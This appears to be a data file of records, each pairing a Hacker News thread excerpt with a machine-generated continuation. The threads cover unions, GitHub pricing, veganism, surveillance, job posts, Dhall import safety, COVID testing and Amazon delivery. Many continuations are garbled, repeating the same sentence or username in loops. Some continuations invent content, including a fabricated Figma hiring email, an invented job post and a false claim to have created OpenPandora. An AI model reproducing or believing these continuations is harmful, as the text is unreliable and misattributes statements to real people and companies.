go:\n[http://wakingamericaup.files.wordpress.com/2010/08/i-have-a-...](http://wakingamericaup.files.wordpress.com/2010/08/i-have-\na-dream-2.jpg)\n\n~~~\nlettergram\nYou're probably correct, however starting off, if you start with say 10 people\nprotesting on a local public street you may get 10 new people to notice you.\n\nAfter a time you can double, triple, quadruple, etc. your numbers. Then go to\nDC with 70-100,000 and get attention.\n\n~~~\noddball28\nAfter giving this more thought, I agree. Large demonstrations don't happen\nover night, and it's necessary to start somewhere and gain traction, with the\nultimate goal of snowballing into a large centralized demonstration.\n\nMaybe what's needed is an agenda that clearly works towards such a\ndemonstration, one that's broken up into attainable goals/milestones. If\ndemonstrators don't feel that they're"} +{"output_text": " plumber.\n\n~~~\nsevenf0ur\nI'm not sure how it would work in software. I'm not sure how it would work in\nany industry.\n\n------\njedberg\nI'm curious if this is a union for the engineers or the managers.\n\n~~~\njedberg\nI'm curious if this is a union for the engineers or the managers.\n\n~~~\njedberg\nI'm curious if this is a union for the", "input_text": " don't care about one persons issues at a\nworkplace but general issues like pay when compared to other companies in the\nsame field. If the company previously had toxic people in high places the\npeople will just adjust to follow union rules while still being toxic.\n\n------\nbaybal2\nI've been hearing for a long time that there were attempts at making a union\nat Microsoft back in nineties.\n\nAnybody privy to the info how it fared?\n\n------\nwhoisjuan\nIgnorant question. But how do union dues work? Is it a percentage of your\npaycheck or a fixes cost?\n\nAlso I assume there\u2019s a formation/founding cost. How does that work?\n\n~~~\nkyoob\nIt's usually a percentage of workers' paychecks, between 1-2% is pretty\nstandard.\n\nFounding, organizing, and legal stuff for newly forming unions can be handled\nby the larger organization (e.g. CWA) using pooled dues from existing unions\nwithin that organization.\n\n~~~\nsevenf0ur\nLosing that much per paycheck with nothing guaranteed in return would chaff me\nafter awhile. I hope it works out for them.\n\n~~~\njohnpowell\nI was a union HVAC guy for a few years. And one very nice thing was that there\nwere union shops and they went through the union to find employees. So if work\ndried up at one place the union would take care of getting my unemployment\ngoing and then when work came up they would call and say that I was needed\nelsewhere.\n\nThis probably wouldn't translate well to software. But it works great if you\nare installing ducts. Same goes for plumbers and electricians. My sisters\nfirst husband was a union"} +{"output_text": " limit.\n\n~~~\nunshift\ni agree. i think the best solution would be to have a \"small project\"\nrepository that you can use for free, but you can't use it for anything else.\n\n------\njoshu\nI'm not sure I understand the problem.\n\nIf you're using github, you're using github.\n\nIf you're using github, you're using github.\n\nIf you're using github, you're using github", "input_text": " thing is \"social coding\" isn't that big of a plus for your own private\nstuff. I definitely see value in a service like this.\n\n------\nkgtm\nIs it really necessary to disguise a Linode referrer link using bit.ly in the\nhomepage? I would be more inclined to click it if it wasn't masked...\n\n~~~\nfnando\nI just wanted to see how many clicks that would have, but you're right. Just\nremoved the link since I just don't care. ;)\n\n~~~\nmcantor\nYou might be able to do a quick happy medium by generating a \"vanity url\" such\nas bit.ly/sneaky-affiliate-link or something.\n\n~~~\nJonnieCache\nOr perhaps a sneaky bit of javascript to track click events on that link via\najax.\n\n------\ntaphangum\nI REALLY don't think that github's plan is unreasonable. I pay for it quite\nhappily. But good on you for DOING something about how you felt\n\n~~~\nunshift\nfor updated-infrequently-if-ever repos, github's pricing doesn't make a lot of\nsense. i have plenty of small, one-off repos i'd love to back up on github but\nit doesn't make sense for me to upgrade plans for them.\n\ni just back up to multiple boxes, but i can understand why someone would want\nsomething centralized and specific.\n\n~~~\nwatty\nI agree. My small company has many 1-2 week dev efforts that we'd like to have\non GitHub but simply can't afford it. I've tried creating a \"small project\"\nrepository and using different branches to host the different projects but am\ndefinitely not satisified. GitHub NEEDS a size"} +{"output_text": " of a cow vs a chicken.\n\nI'm not saying that you are wrong, I'm just saying that you are not\nsufficiently informed.\n\n~~~\nanarazel\nI'm not saying that you are wrong, I'm just saying that you are not\nsufficiently informed.\n\nI'm not saying that you are wrong, I'm just saying that you are not\nsufficiently informed.\n\nI'm not saying that you are wrong, I'm just", "input_text": "...\n\n2) Egg protein. Either full eggs, or just whites, or powder egg protein.\n\n3) Peas, Beans, Peanut Butter are good protein sources as well... but you can\nreally eat so much in a day\n\n4) Avoid soy, (for many reasons, but mainly because it is thought to be\nandrenogenic).\n\nIf you can't eat either milk or egg based products and I think you are a bit\nout of luck. Yes, there are people that manage fine with (there even vegan\nbodybuilders), but it really becomes tough diet wise as it is very\nrestrictive....\n\n~~~\noptimusclimb\nIt seems pointless to me when people become \"vegetarian\" to opt out of the\nfactory farming/animal cruelty machine...only to eat massive amounts of eggs\nand dairy.\n\n~~~\nanarazel\nIt's a question of degree. One hundred gram of meat vs 200g of yoghurt implies\na significantly higher energy use and on average is more crucial pretty\ncalorie.\n\n~~~\ncies\nHe's talking about the \"factory farming/animal cruelty machine\", thus ethics.\n\nYou are responding about \"energy use\", this environmental impact.\n\nTwo separate reasons to go vegan. (besides the issues of pollution, scarcity\nand health-impact)\n\n~~~\nanarazel\nI also referenced the cruelty? The point being that to get the same amount of\nenergy out of milk/egg based products you'll need fewer animals than for meat\nbased production (where animals have to grow for multiple months to years just\nto be slaughtered). Which means fewer animals will suffer to feed one person.\nIt's obviously possible to reduce further.\n\n~~~\ncies\nHard to compare the cruelty"} +{"output_text": " address to register a SIM.\n\n~~~\nmadiathomas\nI don't know why people are so worried about this. It's not like they are\ngoing to ask you for your bank account details.\n\n~~~\nAmbroos\nI'm not worried about it, I'm just saying that it's not that much of a hassle\nand it's not like they are going to ask you for your bank account details.\n\n~~~\nmadiathomas\nI", "input_text": " intercepts amongst the multitude of authorised ones.\n\nThere is also clear evidence that a number of journalists, including two at\nthe Mail and Guardian, have had their phone calls, text message and internet\nusage intercepted by SA intelligence agencies.\n\nAs for authorisation, all the state requires to perform a broad intercept is\nthe say-so of a retired judge appointed and paid by the Minister of Justice.\nThat means that unlike a regular court judge, whose remuneration and service\ndepends on an independent entity in the Judicial Services Commission, the RICA\njudge is subservient to the Executive.\n\nThe access for those intercepts is easy too, given that RICA requires that the\nmajor phone companies, internet exchanges and ISPs create real-time data feeds\ninto the various Interception Centres managed by the Office of Interception\nCentres. This allows them to snoop on the internet and phone traffic of all\nSouth Africans in real-time without the need to even inform the companies\nproviding the data.\n\nRICA's main purpose was to make it easier for the state to legally surveil as\nmany people as it wanted to without too much in the way of opposition. It's\nnot a good law.\n\n~~~\nmadiathomas\nThanks for the information. I didn't know that there is so much surveillance\nfrom our government. Snooping on journalists isn't on at all. Now I know my\ntext messages aren't safe.\n\n------\nAmbroos\nIs this so bad? I remember back in 2012 when I visited Berlin I had to\nregister my SIM with my Belgian ID and address too. It only took a few\nminutes, it's not that much of a hassle. At the phone shop in Belgium where I\nwork we were required to ask for a name and"} +{"output_text": " WebAssembly, Node.js, React, PostgreSQL,\nRedis, Elasticsearch, Kafka, Docker, AWS\n\nIf you're interested, please apply at\n[https://www.figma.com/careers](https://www.figma.com/careers) or email\njason@figma.com.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\n", "input_text": " & change healthcare!!!\n\n~~~\ncalcsam\nWord on the street is that you guys pay really below-market salaries. Could\nyou post a salary range please?\n\n------\nconstexpr\nSan Francisco; Full Time; Onsite\n\nI'm the cofounder of Figma ([https://www.figma.com](https://www.figma.com)), a\nstartup in San Francisco building a browser-based collaborative design tool to\nimprove the way designers and developers work together. We're a small team\n(~25) and we're looking for talented engineers\n([https://www.figma.com/careers](https://www.figma.com/careers)) who are\ninterested in tackling hard technical problems with smart people and building\na product that startups will rely on.\n\nIf you want to see what we value, you might find these interesting:\n\n\\- First principles thinking: [https://medium.com/figma-design/introducing-\nvector-networks-...](https://medium.com/figma-design/introducing-vector-\nnetworks-3b877d2b864f)\n\n\\- Pushing the web to the limit: [https://medium.com/figma-design/building-a-\nprofessional-desi...](https://medium.com/figma-design/building-a-professional-\ndesign-tool-on-the-web-6332ed4f1fcc)\n\nUpcoming/ongoing projects:\n\n\\- Develop a plugin ecosystem from the ground up\n\n\\- Build a community of design content and tools from scratch\n\n\\- Cross-document shared symbols\n\n\\- Multiplayer editing infrastructure (realtime simultaneous editing)\n\nOur tech stack: C++, Emscripten,"} +{"output_text": "\nI'm not sure I agree with this. I think the sentiment is more that they don't\nwant to support a competitor's products.\n\n------\njhall1468\nI'm not sure I agree with the conclusion that this is a bad thing.\n\nI think it's a good thing that they are supporting Philips products.\n\nI think it's a bad thing that they are supporting Philips products.\n\n~~~\njoshstrange\nI agree with", "input_text": " more in-tune with customers and\ndon't make boneheaded decisions like this. Another easy tell: the company was\nshocked by the reaction of users. That meant the company wasn't aware of user\nimpressions of the decision. That also meant Product/Marketing teams weren't\ninvolved in the decision.\n\nWhen the \"what does it cost us to test this compatibility\" calculus comes out\nas more expensive than \"what is the cost of the backlash to our company,\" you\nrealize that Engineering divisions without enough resources are driving this\ntype of decision, 99 times out of 100.\n\n~~~\nCydeWeys\n> The decision to only support Philips products came most likely from the\n> engineering division themselves.\n\nI disagree. I don't see engineers coming up with or getting on-board with such\na clearly anti-open-standards decision. Much more likely, what I think\nhappened is that this decision was forced on engineering from above, morale\nhit all-time lows, there was much grumbling and consternation as they\nimplemented this anti-feature that they clearly didn't believe in, then they\nrejoiced at the huge public outcry when the change was pushed, and are now\ncelebrating that those assholes up in management had to reverse course with a\nheavy dose of \"I told you so\".\n\nSource: I am an engineer at a big company and have seen this scenario play out\nmany times internally.\n\n~~~\nthrowaway2048\nRead the comments here, many engineering types are falling all over each other\nto excuse phillips. There is a massive anti-sentiment towards open platforms\nthere days it seems, likely driven by apple's success and the startup\n\"industry\".\n\n~~~\njhall1468"} +{"output_text": " living in a bubble for the past few years. I've been\nliving in the Bay Area for the past decade and have never experienced a mass\nshooting.\n\n~~~\nardit33\nI have lived in the Bay Area for the past 10 years, and I have never experienced\na mass shooting.\n\nI have lived in the Bay Area for the past 10 years, and I have never experienced\na mass shooting.\n\nI have lived in the Bay Area for the", "input_text": " is available for download in source\nform right now. You'll have to compile it yourself, I think. I'm pretty sure\nthings will stay that way.\n\nChrome OS is the closed-source version that is sent to vendors to be installed\non computers. I'm pretty sure Google won't make Chrome OS available for\ndownload, since there will be no single \"Chrome OS\" image; it'll be customized\nfor each hardware option.\n\n(I think.)\n\n~~~\nmattew\nThat makes sense. I will just have to take the initiative and compile it or\ndownload one of the unofficial builds.\n\n \nAt Least 37M People Have Been Displaced by America\u2019s War on Terror - chishaku\nhttps://www.nytimes.com/2020/09/08/magazine/displaced-war-on-terror.html\n======\nphobosanomaly\nThe degree to which ordinary Americans are isolated from the violence of these\nconflicts is mind-boggling. The notable absence of car-bombs alone is telling\nhow privileged we are to be able to lead our lives without fear of getting\nmurked on the way to Starbucks.\n\n[https://en.wikipedia.org/wiki/List_of_mass_car_bombings](https://en.wikipedia.org/wiki/List_of_mass_car_bombings)\n\n~~~\nardit33\nMass shootings (either, school shootings, shootings in church, shootings in\nclubs, that vegas shooter, the occasional incel shooter, etc.. etc..), are a\nform of terrorism, albeit not necessary with political motives.\n\nMost of the world do not experience them either.\n\n~~~\nsharkweek\nI can say we have been"} +{"output_text": "istically optimized.\n\n~~~\nPostosuchus\nI'm not sure what you mean by \"direct and indirect costs of producing \"green\nenergy?\"\n\nI'm not sure what you mean by \"fuel costs money.\"\n\nI'm not sure what you mean by \"ultimately delivery efficiency is better for\nbusiness and for the environment.\"\n\nI'm not sure what you mean by \"they also are encouraging all deliveries to\nhappen on a given day of the week", "input_text": ". My point is that the whole left circle - issues\nimportant to the left and important to both left and right - are posted and\ndiscussed. Issues important only to the right are flagged down. Right-wing\nperspectives on political posts are flagged down. To take an example, very\noccasionally, I see a mention of guns that includes a right-wing perspective.\nEven if it's politely stated, flagged down. Example, something like: \"The\narguments about taking guns lowering mass shooting-rates does mot affect the\nright because priorities are different. The right is willing to tolerate some\ndeath as tragic but a fact of life to maintain rights, and mass shooting death\nrates are vastly below other public health issues any way.\"\n\nSuch a comment would be flagged down. A comment taking the opposing point-of-\nview, even much less politely, would be supported. Comments with vulgarity and\nrudeness are also tolerated only from certain perspectives. This disparity is\nparticularly galling because low-ranked comments become greyed to the point of\nun-readability, and flagged ones don't appear at all by default. I couldn't\ncare less about the internet points, but HN ought to leave un-popular opinions\nvisible.\n\n------\nPostosuchus\nI assume, the whole narrative is above such insignificant details as direct\nand indirect costs of producing \"green energy?\"\n\n~~~\nbcheung\nNot sure what you mean but Amazon is doing a lot of research into things like\ndrone deliveries and robotic vehicles which can be powered from renewable\nenergy.\n\nFuel costs money. Ultimately delivery efficiency is better for business and\nfor the environment.\n\nThey also are encouraging all deliveries to happen on a given day of the week\nso they can be batched up and log"} +{"output_text": " of which are \"letters\" and the rest are \"capital letters\".\n\nSo, the system that DNS uses is a bit weird. It's not a good system for\nencoding emoji.\n\n\u2021 I'm not sure if this is true of the modern integrated tribes, but it's\ncertainly true of the tribes that were integrated into the Roman Empire.\n\n~~~\njackewiehose\nI don't know about the integrated tribes, but I know that", "input_text": "ddraper\n[https://abs.twimg.com/emoji/v2/72x72/1f47b.png](https://abs.twimg.com/emoji/v2/72x72/1f47b.png)\n\u00af\\\\_(\u30c4)_/\u00af\n\n------\nshawkinaw\nThis is using Punycode encoding, see\n[https://en.m.wikipedia.org/wiki/Emoji_domain](https://en.m.wikipedia.org/wiki/Emoji_domain).\n\n~~~\njackewiehose\nWhy is this even a thing?\n\n~~~\ntialaramex\nThere are a bunch of different human writing systems. All of them are weird\nbecause they were invented by humans, most of them are _very_ weird indeed\nbecause they were invented by humans a long time ago and then gradually\nmutated.\n\nThe Latin system is the one you're using here. It's very popular. Most humans\nin the integrated tribes are somewhat familiar with it\u2021. It has twenty six\n\"letters\" and then twenty six more \"capital letters\" which look different but\nmean almost the same thing for some reason, and then a bunch more symbols that\naren't quite letters although some (apostrophe, ampersand) have a better claim\nthan others. But other popular systems include Han, which has a shitload of\nlogograms, and Cyrillic and Greek which have different letters than Latin and\ndifferent rules about how letters work.\n\nAnyway, the people who invented DNS only or primarily used the Latin system\nand they weren't much into capital letters. So, their system doesn't treat\ncapital letters as different and only has one set of twenty six Latin letters,\nten"} +{"output_text": ", which will further reduce the risk of\nunintentional DDos.\n\n~~~\njoshuamorton\nThanks for the link. I'm not sure I understand the last point.\n\nIf you have a semantic integrity check, then you can't return a value that\nchanges the behavior of your program. So if you have a malicious import, you\ncan't return a value that changes the behavior of your program.\n\n~~~\nGabriel439\nI'm not", "input_text": " allowed imports to a whitelist.\n\nAt the very least that could be used to DDos some target by having the script\ntry to import something from a victim domain. And you _might_ be able to read\ndata on local files and transmit that information back, I'm not sure. It\ndepends on if imports are evaluated lazily, and the data of interest would\nhave to be stored in a file on disk that can be imported.\n\nEDIT: Actually, it looks like you can import raw text, so it doesn't matter\nwhat format the on-disk data is that you are trying to extract.\n\nEDIT2: Actually, it doesn't even matter if imports are evaluated lazily or\nnot, you can specify that a network import be made with given headers, so you\ncould just set a header in the HTTP request to contain the sensitive data.\n\n~~~\nGabriel439\nAuthor here: You might be interested in this post on safety guarantees:\n\n[https://github.com/dhall-lang/dhall-lang/wiki/Safety-\nguarant...](https://github.com/dhall-lang/dhall-lang/wiki/Safety-guarantees)\n\nThe main risks in executing potentially malicious Dhall code that is not\nprotected by a semantic integrity check are:\n\n* Using more computer resources than you expected (i.e. network/CPU/RAM)\n\n* Unintentional DDos (as you mentioned)\n\n* The malicious import returning a value which changes the behavior of your program\n\nIf you protect the import with a semantic integrity check then the malicious\nimport can no longer return an unexpected value, which eliminates the third\nissue (changing program behavior). Also, upcoming versions will cache imports\nbased on the semantic integrity check"} +{"output_text": "\u2019s time and resources, and the company\n> was forced to scale back its ambitions.\n\n> \u201cWe were trying to do too much,\u201d Dancer said. \u201cWe were trying to do too many\n> things at once.\u201d\n\n> \u201cWe were trying to do too many things at once.\u201d\n\n> \u201cWe were trying to do too many things at once.\u201d\n\n> \u201cWe were trying to do too many things at once.\u201d\n\n> \u201cWe were", "input_text": "\ndrderidder\nI don't like the manager / developer separation. I've had better results using\nlightweight strategies to let projects be more or less self-managing.\nBasically just creating a shared vision, giving responsibilities to people,\nletting them set their own goals, and then publishing to the group how those\ngoals are progressing on a weekly basis. It doesn't take much time and people\nusually appreciate the communication.\n\n------\nSpooky23\nThere's way too much black and white in the blog post and these comments here.\nIt's more art than science.\n\nThe reality is as a manager you're an influencer and leader. You also need to\nhave personal integrity or you'll just end up depressed. If you have no\nability to influence upper management, you need to work on how to connect with\nyour boss.\n\n \nThe Rise and Fall of Cribspot - objections\nhttps://www.tcbusinessnews.com/2018/04/29/the-rise-and-fall-of-cribspot/\n======\na_t48\nHow is this different from a property management company (say, Property\nForce)? The fact that they have a website over just putting out on CraigsList?\n\n------\nSlowRobotAhead\n> The vision was to provide an end-to-end housing solution, with landlords\n> handing control of their properties over to Cribspot and still earning a\n> passive income. Tenants could use the platform to find properties, tour\n> properties virtually, ask questions about different houses or apartments,\n> schedule property maintenance, or pay rent online.\n\n> \u201cIt ended up being a lot more people-intensive than we thought,\u201d Dancer\n> said.\n\n> The new challenges ate into Cribspot"} +{"output_text": " study of psilocybin-assisted smoking cessation in patients with\nsubstance use disorders\"\n\n[http://jop.sagepub.com/content/early/2014/09/06/026988111454...](http://jop.sagepub.com/content/early/2014/09/06/0269881114548296.abstract)\n\n------\njoshuaheard\nI'm not sure I understand the point of this study.", "input_text": ", increases the former in psychiatric and general\nhealthcare.\n\nAnd that's not fair on everyone else. So perhaps you should forfeit your right\nto free healthcare when you make that choice?\n\n(I speak with respect to the NHS in the UK).\n\nFor ref, I'm allergic to penicillin as well. Fortunately because we have\nresearch budgets, we have other antibiotics. Perhaps expenditure on drug\nrelated problems (crime, psych, healthcare) should be diverted into that?\n\n~~~\ndrewblaisdell\n> Thou who bites off the latter, increases the former in psychiatric and\n> general healthcare.\n\nDo you have data on the overall cost of legalization/decriminalization?\n_Surely_ the decrease in the cost of incarcerating drug offenders is\nsignificant.\n\n------\nthefreeman\nAnyone find a link to the actual study? The author basically presents this as:\n\n\\- take some smokers\n\n\\- give them therapy for 5 weeks\n\n\\- dose them up on psilocybin\n\n\\- hope they stop smoking.\n\nI am guessing there was more to the study then that.\n\nAlso the results of the study are never even listed, except for saying that it\n\"worked in most cases\".\n\nHonestly, I am all for studying the affects of these drugs but this article is\npretty garbage.\n\n~~~\nchaosdesigner\nonly abstract seems to be freely available online:\n\n[http://jop.sagepub.com/content/early/2014/09/06/026988111454...](http://jop.sagepub.com/content/early/2014/09/06/0269881114548296.abstract)\n\n~~~\ngwern\nHere you go:\n\n\"Pilot"} +{"output_text": " that the twin who stopped exercising was forced to?\n\n~~~\nUdik\nI'm not sure I understand your question. I'm just saying that the fact that\nthe twin who stopped exercising did so reluctantly and in response to some\nsocial or family pressure is not the same as the fact that the twin who never\nfelt the urge and benefit of exercising did so reluctantly and in response to\nsome social or family pressure.\n\n------\njoshuahedlund\nI'm", "input_text": " your\nendurance is controlled by past training almost exclusively.\n\n------\nlaichzeit0\nI always find it interesting that whenever exercise/diet topics come up on HN\nthat people will go to the n-th degree to try and discredit or rubbish the\nstudies. Could it be a bias in the stereotypical geek which shuns both these\nhabits and so seeks an intellectual reason to justify his sedentary lifestyle?\n\n~~~\nphiljackson\nIt's a cynical view, but I'm afraid to say I feel it too. This whole 'body\nacceptance' movement (in the context of obesity) that's happening at the\nmoment is detrimental to society and should probably be shunned as overweight\npeople justifying their inactive lifestyles.\n\n------\ndarkhorn\nCan someone explain to me why an identical twin is allergic to mushrooms and\nthe other one is not? Also why a symmetric identical twin is more\nfriendly/outgoing and speaks fluently while the other one is opposite?\n\n~~~\njepper\nBecause your immune system, a highly complex interaction between countless\ncells, is not fully determined just by your genes or your environment. There\nis also a stochastic factor.\n\n------\nUdik\nI wonder if they took in account the fact that, as they say, the twin that\nstopped exercising did so reluctantly and in response to some social or family\npressure. In other words, they're comparing a person who keeps doing what he\nalways liked to do with another that had to give up. I'm not sure the result\ncan be transferred to people who never felt the urge and benefit of\nexercising. How would compare two twins, one of which has only in recent years\nbeing forced to exercise?\n\n~~~\nrevelation\nWhats your point here,"} +{"output_text": "olecules are not\n'identical' to their data.\n\n~~~\njules\n> The only reason why the perspective seems confusing is because you're\n> conflating process with molecules.\n\nI don't think that's true. The reason why the perspective seems confusing is\nbecause you're conflating process with molecules.\n\n> Doing PCR is not innovative.\n\nI don't think that's true. PCR is a very well known technique.\n\n> But", "input_text": " I think patenting a significant modification of a\nnaturally occurring substance is completely reasonable as it protects the\ninvestments involved in inventing and applying the modifications, while at the\nsame time allowing others to use and understand the development. Without\npatents biotech would become full of trade secrets, holding back progress in\nthe field.\n\n~~~\ndnautics\nYeah, i'm against patents, but i think if we have them they should be applied\nfairly and according to a clear set of rules instead. It's like saying, I'm\nopposed to government being involved in marriage, but if we are going to have\nit then homosexuals should be allowed to be married.\n\nThe only reason why the perspective seems confusing is because you're\nconflating process with molecules. In general any given claim of a patent can\nprotect the molecule or the process. Myriad did not choose to claim the\nprocess, because the process is obvious. But having a process that is obvious\ndoes not necessarily make the molecule obvious.\n\nDoing PCR is not innovative. But the process DOES transform one molecule into\nanother, unless your primers are exactly flush with the end of the dsDNA - in\nwhich case it is merely a straight copying operation. OK? The molecule that\ncomes out at the end has a different covalent structure than the molecule that\nyou start with. Is that not true? if you don't believe that, then you would\nmake the claim that octane 'is the same as' dodecane, because it's just a\ntruncated version.\n\nAlso, it is not an exact copy of something in nature, unless that 'thing' is a\ndata fragment. It is an original molecule, that copies the data, but the\nmolecule is distinct. That is an important point. M"} +{"output_text": " same way.\n\n~~~\njoshstrange\nI don't think Quora is a company. I think it's a community.\n\n~~~\nmeowface\nIt's a community of people who are paid to answer questions.\n\n~~~\njoshstrange\nI don't think that's a fair characterization. I think it's a community of\npeople who are paid to answer questions.\n\n~~~\nmeowface\nI don't think it's a", "input_text": "I dunno about its changing popularity, but like Expert Sexchange before it, I\nactively avoid Quora. It was the first site I added to my Google Personal\nBlocklist, and the reason I installed the plugin.\n\nTheir unsubscribe form is (or was last I saw it in 2015) a nastier piece of\nwork than I could imagine, even if told: Come up with the most annoying\nunsubscribe form you can. Make it really hard to unsubscribe from\neverything...make'em work for it.\n\nQuora, I hope, will continue to lose to much better, much more ethical, Q&A\nsites. The Stack Exchange sites seem like the market leaders, as they probably\nshould be. They do nearly everything right, and they do it without being\nsmarmy. Sites that believe they have a _right_ to my attention, and are\nwilling to cheat to get it, really ought to be shunned in polite company. I'm\nnot sure how they've managed to maintain a patina of legitimacy after all\nthese years of being no-good, shiftless, internet hucksters. We, as a\ncommunity, usually shun the hell out of spammers...and yet, when Quora (and\nLinkedIn, for another example of a spammer getting a pass) do it, most folks\njust shrug as though it's no big deal. Does a certain level of economic\nsuccess lend credibility even when behaving in ways that deserve no\ncredibility?\n\nNot that I'm grumpy about it, or anything.\n\n~~~\nmeowface\nOn mobile, they make you install their app to look at anything at all.\n\nAny company that needs dozens of \"dark patterns\" and tricks to stay afloat\nprobably shouldn't exist. LinkedIn is the"} +{"output_text": " surveys, and sharing documents.\n\nWe're looking for engineers who are passionate about building great products\nand solving hard problems. We're a small team, so you'll have a huge impact on\nthe product and company.\n\nWe're a remote-first team, so we can work with you from anywhere.\n\nApply at [https://mixmax.com/careers](https://mixmax.com/careers) or email\njobs@mixmax.com\n", "input_text": " euro's.\n\nWe're bound by the collective bargaining agreement (cao) for universities. So\nit's a bit low even for dutch standards.\n\nHowever, it's hard to compare it against SV or london positions because the\ncost of living is lower, and a lot of the conttact is very much in favour of\nthe employee (a company cannot just fire you for example, you get health\nbenefits that are probably very good by us standards).\n\nI'm purposefully not making a case here. The vsnu cao is online[1] and you\nshould make your own deliberation.\n\n[1]:\n[http://www.vsnu.nl/files/documenten/CAO/Januari%202016/CAO_N...](http://www.vsnu.nl/files/documenten/CAO/Januari%202016/CAO_NU%20ENG%20jan2016.pdf)\n\n~~~\nimdsm\nGood luck, hope you find someone. Luckily, most people who see this and scoff\nwon't have been the person you're looking for anyway.\n\n------\nbradavogel\nMixmax | Full-Stack Engineer or intern | On-site San Francisco or Remote (for\nengineers with experience) |\n[https://mixmax.com/careers](https://mixmax.com/careers)\n\nWe're a growing, fast-moving team looking for all types of engineers: full-\nstack, backend, site reliability, data, integration.\n\nMixmax's mission is to reinvent the way professionals communicate for work.\nWe're building the impossible: a rich communications platform that brings the\npower of the web to everyday communication. This includes easily scheduling\nmeetings, completing"} +{"output_text": " not have symptoms\n\n\\- you have a low viral load\n\n\\- you have a low viral load and you are not symptomatic\n\n\\- you have a low viral load and you are symptomatic\n\n\\- you have a high viral load\n\n\\- you have a high viral load and you are not symptomatic\n\n\\- you have a high viral load and you are symptomatic\n\n\\- you have a high viral load and you are symptomatic\n\n\\- you have a high viral load and you are", "input_text": ",\" one of the Wuhan doctors\nwho tested positive twice told NPR [...] \"If they really are not infectious,\"\nthe doctor said, \"then there would be no need to take them back to the\nhospitals again.\"\n\nSo why are the asymptomatic cases required to quarantine under medical\nobservation for 14 days but not counted?\n\n~~~\nceejayoz\n\"Not proven to be infectious\" and \"proven to not be infectious\" aren't the\nsame thing. Quarantine/observation is warranted for the first.\n\n~~~\nnico_h\nWell if you know they are infected, and are worried they might be infectious,\n_why not count them_ after all they _are_ occupying a bed.\n\n------\nhprotagonist\nCouple of thoughts:\n\n\\- I think we need to know a LOT more about the sensitivity, specificity, and\naccuracy of every test that's being deployed right now. I am 100% willing to\nbelieve that \"testing negative and then positive\" means \"you have a pretty low\nviral load and our tests suck more than we're willing to admit out loud right\nnow\".\n\n\\- I think we need to be very clear that there are two kinds of tests: \"you\nhave an active SARS-CoV-2 infection _right now_, and also \"you have once had\na SARS-CoV-2 infection in the semi-recent past\". One tells you who needs care,\none tells you who is at least temporarily immune we hope.\n\n~~~\nbaxtr\n_In general_ PCR tests are highly sensitive. Even smallest viral loads can be\ndetected\n\n(Edit) added in general above due to valid points in the comments below\n\n~~~\nhprotagonist\nif:\n\n\\- you do"} +{"output_text": ".0.0 release and I'm looking forward to the next one.\n\n------\njoshschreuder\nI'm not sure if this is the right place to ask, but I'm curious if anyone has\nany experience with the OpenPandora project?\n\n~~~\nParadisoShlee\nI'm the creator of OpenPandora. I'm not sure if this is the right place to ask\nbut I'm curious if anyone has any experience with the", "input_text": "\nI will, contact me if interested mustafa91 at gmail\n\n \nI cant promise time but why people look so mad at me? - itsmejax\nPeople always ask when you finish that thing. How can I answer when I do not know the time frame?

I cant promise anything.\n======\nicedchai\nTake your \u201chonest\u201d estimate, double it, and round up to the next highest value\n(day, week, month...)\n\n------\nLeoSolaris\n\"This is a difficult problem with multiple unknowns. I will have a progress\nreport for you tomorrow.\"\n\nMake sure that you are reaching out to the rest of your team.\n\n------\nsharemywin\nWill it probably take about year?\n\nWill it probably take about month?\n\nWill it probably take about week?\n\nWill it probably be done in a day?\n\nMost of the time their looking for a ballpark.\n\n \n\nCompo4All: Making Arcade Games Social Again - ekianjo\nhttp://www.pandoralive.info/?p=185\n\n======\nParadisoShlee\nThis simple little idea has been keeping my OpenPandora in my hands a lot\nrecently. Passive social gaming has always been one of the more interesting\nand non-explored parts of multiplayer.\n\nI remember playing a TRIALS HD on my 360 and my friends are shown as a passive\ndot. I kept wanting to chase that dot and beat the high score of somebody who\nwasn't even playing.\n\n~~~\nParadisoShlee\nP.S. To everybody who saw the words \"Open Pandora\" and laughed... the project\nwas taken over over a year ago and is actually running pretty smoothly.\n\nI really like my 1"} +{"output_text": "-time\n| [https://www.givecampus.org](https://www.givecampus.org)\n\nGiveCampus is a non-profit that helps students pay for college. We're\ncurrently working on a new product that will allow students to create a\npersonalized college fundraising plan, and then automatically send emails to\ntheir parents and friends to ask for donations.\n\nWe're looking for a full-stack engineer to help build out our new product.", "input_text": " [https://www.centralway.com/uk/careers/open-\npositions](https://www.centralway.com/uk/careers/open-positions) for a full\nlist.\n\nThe interview process typically consists of a 45 minute Skype interview\nfollowed by an invitation to come onsite in Zurich for a day, but varies\ndepending on the role.\n\nFeel free to contact me by email (tom.payne@centralway.com) for personal\nquestions, or apply directly through our website. Positions are onsite only,\nbut we can help with visas. The working language is English.\n\n------\nw8rbt\nVirginia Cyber Range | Blacksburg, VA | Cloud Application Developer | REMOTE |\n[https://listings.jobs.vt.edu/postings/71822](https://listings.jobs.vt.edu/postings/71822)\n\nThe Virginia Cyber Range is a Commonwealth of Virginia initiative with a\nmission to enhance cybersecurity education in our high schools, colleges, and\nuniversities. The Cyber Range will provide an extensive courseware repository\nfor educators and a cloud-hosted environment for hands-on cybersecurity labs\nand exercises for students.\n\nThe Virginia Cyber Range was proposed by Governor McAuliffe in spring 2016 as\npart of his vision to boost Virginia\u2019s cybersecurity industry through\nstrategic educational investments. The Cyber Range is led by an executive\ncommittee representing public institutions that are nationally recognized\ncenters of academic excellence in cybersecurity within the Commonwealth.\n\nIf interested, please apply at the link above and mention Hacker News.\n\n------\nmkong1\nGiveCampus (YC S15) | full stack engineer (Ruby on Rails) | DC, SF| Full"} +{"output_text": ", I'll just cancel my order and wait for the next one.\n\nBut then I remembered that I have Prime, and I can cancel my order and get a\nrefund.\n\nI cancelled my order, and got a refund.\n\nI'm not sure if this is a good thing, but it's a good reminder that you can\ncancel your Prime order and get a refund.\n\n~~~\njedberg\nI've had Prime for years and I've never", "input_text": ". It doesn't have the \"Prime\" badge, but we get a decent number of orders\nthrough this, enough to survive.\n\nWe send out all orders with First Class Mail, and I pack them up around 3PM\neach business day in order to get them to the post office by the 5PM cutoff.\nIt appears most customers are receiving orders between 2 and 5 days after\nordering (including the opposite coast). This is even faster than the time\nestimate customers see on Amazon, and way faster than Prime.\n\nDisclaimer: your mileage may vary.\n\n------\nCodeSheikh\nAmazon's (+Wholefood) supply-chain failure is an eye-opener for me during\nCOVID-19 crisis. I hate to acknowledge my dependability on Amazon Prime while\nliving in a big city. I am not 